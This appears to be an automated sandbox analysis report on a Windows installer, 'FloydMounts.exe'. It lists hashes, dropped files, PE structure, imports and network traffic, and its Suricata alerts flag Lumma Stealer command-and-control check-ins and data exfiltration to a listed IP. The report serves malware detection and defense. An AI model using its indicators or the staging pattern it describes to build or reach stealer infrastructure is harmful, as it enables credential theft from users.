MD5:	63CE03B7180EDD5AC461953F18192018
SHA1:	5C7769582080A8E1EB197E4620204A9744D916AA
SHA-256:	1EDA899368CD138B7A20E37BCD9B875EACA2BF1572CAEAA3DF83DF7DC1CB12AD
SHA-512:	624F289EBC4230190069E4AB26C1EAB6EED9B94166BA252266DF3FF1C2E928798D87F034E9AA6015C7E7ACEB66570BD1C3471B8A76862267375D8F7F0D8346FD
Malicious:	false
Preview:	.PNG........IHDR...`...........r.. .IDATx..;.$....+.U.{..F.]./.l.#..c.k..M..K.r.!m.G6....ec.k......J...W....ft...Y........<=...Q5..G\|.......+A........:.m........h.a.a.....}s).#.9~.4..>.J]..R.+M.K.!...+.s...4..W.c.+Zk.+B.s...p......R...PU....JUU..RJ.......^...Ru]..n...&w.R.WeE.DH.kB...)....!.....cRI.....d.u.....W..j..xw... .e,.....lC`....o=....A..;.l....;.oX...h..3...@..l.........".@zZW..a...v...Uww.C..n'.31l.1..U9\F..K..c\|\i................`........G.......3.p..^Jp....1...\|$....N...q`.I..Jt9.v..L.q..I~{)..>.uw..oY.d...\..;~<T..\w..s....R.1...n......9H0g.x............t}/$ .....{...........&h...N...@S.w.},_.&."..K.....v....1.........k.d0.\|@j.b.cr..,..^M`.r..>.o..)<\!w...a...+....ea.p...N...............\-.:.>_.......}.?..J..o.o..xY....m.3....f.....\...}..d.Z....7.......{.\|.$c\|..J.Ld..`.J.1Qi=....`.R2...K....1....v....{...8.>.. .......-.T./.j\|....}H...0N..\......o'....t.\=$...........{H.a.>...EQ....\|F....8RI...#F...K.$;O.. .ij....o.....

C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-7TFI6.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-ATTO3.tmp\X4PCDQPDT1B8IDPB7SN83.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-HQ019.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\X4PCDQPDT1B8IDPB7SN83.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.53001282597034
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	A62041070E18901131CBBE7825EC4EC7
SHA1:	67DB71F5A885B1E417B1272218E6B814C45A6C93
SHA-256:	E25EF8AA3AB40EE6950DACC4CCD9EDD1EBE973D45109F6EEF34F7F49E26A2E27
SHA-512:	AE560D59071F8E2D484E5607E6A3C6CAC52F011A6CB3F16B5EECB767F555D10A480AF32FE0BEB0DC6FF4B6BEC99B536AEBA58AD6697DAB72AAF60BD46F3BFC83
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\UltraMedia\is-PGV92.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	979298672
Entropy (8bit):	0.20778792436382168
Encrypted:	false
SSDEEP:
MD5:	6148379F983034E295E4A943A5F1198F
SHA1:	EDC450D0785D84BA4C99449BE9132AA5AE590170
SHA-256:	BCFD2CE5B1FE4AF3B920F5A6D3E4B4B9C77A619CC36F7C96C3C53D8A8FB2FC33
SHA-512:	472EEDFF596451D28800CC0BCE09BACE2B6269430699A745908D86D772959B68AC406226E886CAC47B803F5D2CD0E6EC3A1CBB85B35F89BF2C822ACB2F1E0822
Malicious:	false
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................J.........$.J.......J...@..........................................................................pM..U...pR..............^:.)....M.F\|............................M.......................M..............................text...t3J......4J................. ..`.itext...K...PJ..L...8J............. ..`.data........J.......J.............@....bss.........PL......0L..................idata...U...pM..V...0L.............@....tls..........M.......L..................rdata........M.......L.............@..@.reloc...\|....M..~....L.............@..B.rsrc........pR.......Q.............@..@.............Ps.......q.............@..@................................................................................................

C:\Users\user\AppData\Roaming\UltraMedia\ulu_mon.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-O1T1E.tmp\X4PCDQPDT1B8IDPB7SN83.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	979298672
Entropy (8bit):	0.20778792436382168
Encrypted:	false
SSDEEP:
MD5:	6148379F983034E295E4A943A5F1198F
SHA1:	EDC450D0785D84BA4C99449BE9132AA5AE590170
SHA-256:	BCFD2CE5B1FE4AF3B920F5A6D3E4B4B9C77A619CC36F7C96C3C53D8A8FB2FC33
SHA-512:	472EEDFF596451D28800CC0BCE09BACE2B6269430699A745908D86D772959B68AC406226E886CAC47B803F5D2CD0E6EC3A1CBB85B35F89BF2C822ACB2F1E0822
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..................J.........$.J.......J...@..........................................................................pM..U...pR..............^:.)....M.F\|............................M.......................M..............................text...t3J......4J................. ..`.itext...K...PJ..L...8J............. ..`.data........J.......J.............@....bss.........PL......0L..................idata...U...pM..V...0L.............@....tls..........M.......L..................rdata........M.......L.............@..@.reloc...\|....M..~....L.............@..B.rsrc........pR.......Q.............@..@.............Ps.......q.............@..@................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.969441175148279
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	FloydMounts.exe
File size:	1'391'572 bytes
MD5:	a3e3a09c63c5270ac7e96a7b25034335
SHA1:	2df0d057d0a1674afce368e491113adff5c90570
SHA256:	b8e176aa49edb6f9bedb2e3f3e36fbfe046af1d7550f58938cd4b04c94b92f84
SHA512:	a2caf95bb5ca4b8c7fec6402b92df3b1c7d5d0c9ff14e5af96ae86d85c60cdbd4d843a461c57b8157d2985644b9041f6e7451dbaedc74d33518a62d3c6dec008
SSDEEP:	24576:IupP3xnrllsRzX+I17CrM9LZYiaRf+99HckvcPmpW7VFuMsHoimlNqzBT:vdrlls11erCpaRMWkE2W7fhkoHK
TLSH:	5E552396ADF81532FA545A3378F6670B8E2FFC601074D51F2B824DDD18227A0876CBB9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	f0f8f6e6eaeae960

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	20/03/2024 14:23:35 21/03/2026 14:23:35
Subject Chain	CN=YANDEX LLC, O=YANDEX LLC, STREET="Lev Tolstoy street, 16", L=Moscow, S=Moscow, C=RU, OID.1.3.6.1.4.1.311.60.2.1.2=Moscow, OID.1.3.6.1.4.1.311.60.2.1.3=RU, SERIALNUMBER=1027700229193, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	9906E73CDAF5570B04FDE09A4BCB74A9
Thumbprint SHA-1:	46E2F09D295573BB09DACC6B209B142C244A30D6
Thumbprint SHA-256:	6E4B1A3C72EF08F8311CF4F596DE8CCA679D06C51A87E1C5714F8DECB84BCB37
Serial:	6F126C9CC287DE458CE890F6

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F69D8F0410Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F69D8F03DEDh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F69D8F03DDBh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F69D8F016DAh
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F69D8F03AB1h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F69D8F01763h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F69D8F016DAh
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x59692	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x15109c	0x2b38	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x59692	0x59800	4df0f5799b34875861e52427a786d52b	False	0.9810497774092178	data	7.888274687036025	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x15a000	0xfd6	0x1000	a251a07509abde1b2d87d3c35769346e	False	0.566650390625	data	5.321067233171646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x100238	0x57693	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.989777535715782
RT_ICON	0x1578cc	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.6680327868852459
RT_ICON	0x1589f4	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.8014184397163121
RT_DIALOG	0x158e5c	0x100	data	English	United States	0.5234375
RT_DIALOG	0x158f5c	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x159078	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x1590d8	0x30	data	English	United States	0.8541666666666666
RT_VERSION	0x159108	0x2b4	data	English	United States	0.48988439306358383
RT_MANIFEST	0x1593bc	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T10:11:42.275845+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.25.41	443	TCP
2024-12-27T10:11:43.009436+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49739	104.21.25.41	443	TCP
2024-12-27T10:11:43.009436+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49739	104.21.25.41	443	TCP
2024-12-27T10:11:44.276873+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49740	104.21.25.41	443	TCP
2024-12-27T10:11:45.075017+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49740	104.21.25.41	443	TCP
2024-12-27T10:11:45.075017+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49740	104.21.25.41	443	TCP
2024-12-27T10:11:46.617451+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.25.41	443	TCP
2024-12-27T10:11:48.917491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.25.41	443	TCP
2024-12-27T10:11:52.958511+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49742	104.21.25.41	443	TCP
2024-12-27T10:11:54.288916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.25.41	443	TCP
2024-12-27T10:11:56.635597+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	104.21.25.41	443	TCP
2024-12-27T10:11:58.997923+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49747	104.21.25.41	443	TCP
2024-12-27T10:11:59.072441+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49747	104.21.25.41	443	TCP
2024-12-27T10:12:02.812757+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49758	104.21.25.41	443	TCP
2024-12-27T10:12:03.582821+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49758	104.21.25.41	443	TCP
2024-12-27T10:12:05.154549+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49763	104.21.74.235	443	TCP
2024-12-27T10:12:06.438791+0100	2008438	ET MALWARE Possible Windows executable sent when remote host claims to send a Text File	1	104.21.74.235	443	192.168.2.4	49763	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 10:11:41.040343046 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:41.040395021 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:41.040565968 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:41.059823036 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:41.059844017 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:42.275557041 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:42.275845051 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:42.280155897 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:42.280168056 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:42.280433893 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:42.326699972 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:42.337662935 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:42.337680101 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:42.337743998 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:43.009409904 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:43.009495020 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:43.009552002 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:43.012542963 CET	49739	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:43.012562990 CET	443	49739	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:43.018100977 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:43.018136024 CET	443	49740	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:43.018222094 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:43.018526077 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:43.018541098 CET	443	49740	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:44.276787043 CET	443	49740	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:44.276873112 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:44.278256893 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:44.278266907 CET	443	49740	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:44.278495073 CET	443	49740	104.21.25.41	192.168.2.4
Dec 27, 2024 10:11:44.279781103 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:44.279830933 CET	49740	443	192.168.2.4	104.21.25.41
Dec 27, 2024 10:11:44.279849052 CET	443	49740	104.21.25.41	192.168.2.4
